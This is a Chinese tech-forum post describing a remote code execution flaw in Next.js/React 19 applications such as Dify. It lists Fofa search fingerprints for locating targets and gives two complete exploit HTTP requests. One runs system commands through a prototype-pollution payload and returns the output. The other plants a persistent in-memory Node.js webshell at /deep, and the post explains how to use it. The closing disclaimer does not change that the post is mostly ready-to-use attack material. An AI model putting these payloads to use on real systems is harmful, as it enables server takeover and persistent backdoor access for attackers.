找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

375

积分

0

好友

51

主题
发表于 19 小时前 | 查看: 3| 回复: 0

图片

漏洞概述

Next.js 是一个基于 React 框架、由 Vercel 开发和维护的开源 Web 应用框架,专注于构建高性能的现代化应用。它支持全栈开发,因其简化流程和强大性能而广受欢迎。近期公开的漏洞研究表明,该漏洞在特定版本的 React 环境中可以被成功利用,且对基于 Next.js 构建的应用(如 Dify)影响显著,成功率高。

受影响范围:使用 React 19.0.0, 19.1.0, 19.1.1, 19.2.0 版本的应用。

Fofa指纹:

header="Next.js" || body="/_next/static"

Dify指纹:

app="Dify"

图片

图片

图片

漏洞研究与复现

以下是互联网上流传的可利用Payload,供技术研究与防御参考。

Payload 1 (命令回显版)

此 Payload 用于执行系统命令并获取回显结果。

POST /apps HTTP/2
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Next-Action: x
X-Nextjs-Request-Id: ungqoyah
X-Nextjs-Html-Request-Id: zTBfMjKDeKps9lK2x4Vby
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 705

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res = Buffer.from(process.mainModule.require('child_process').execSync('id')).toString('base64');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

图片

执行结果通常编码在响应头的 X-Action-Redirect 字段中,为 Base64 格式,解码后即可查看命令输出。

图片

Payload 2 (内存马注入版)

此 Payload 用于在目标服务器的 Node.js环境 中注入一个持久化的后门(内存马)。

POST /apps HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Accept-Encoding: gzip, deflate
Connection: close
Next-Action: x
X-Nextjs-Request-Id: ungqoyah
X-Nextjs-Html-Request-Id: zTBfMjKDeKps9lK2x4Vby
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 1120

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event==='request'){const[req,res]=args;const parsedUrl=url.parse(req.url,true);if(parsedUrl.pathname==='/deep'){const cmd=parsedUrl.query.cmd||'whoami';cp.exec(cmd,(err,stdout,stderr)=>{res.writeHead(200,{'Content-Type':'application/json'});res.end(JSON.stringify({success:!err,stdout,stderr,error:err?err.message:null}));});return true;}}return originalEmit.apply(this,arguments);};})();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

图片

注入成功后,攻击者可以通过访问特定路径执行任意系统命令。Payload中定义的路径为 /deep,可自行修改。

parsedUrl.pathname==='/deep' // 内存马路径,可自定义

内存马使用方法:访问 http://目标地址/deep?cmd=要执行的命令 例如:/deep?cmd=ls

图片


安全声明:本文提供的漏洞信息及利用代码仅用于合法的安全测试、防御技术研究与教育目的。任何个人或组织不得将其用于非法攻击或任何侵犯他人合法权益的行为。使用者需自行承担全部法律及连带责任,作者与发布平台不承担任何责任。




上一篇:Java垃圾回收器工作原理与调优指南:从算法解析到生产环境实践
下一篇:MySQL批量数据插入性能优化实战指南
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区(YunPan.Plus) ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-6 21:53 , Processed in 0.083251 second(s), 36 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 CloudStack.

快速回复 返回顶部 返回列表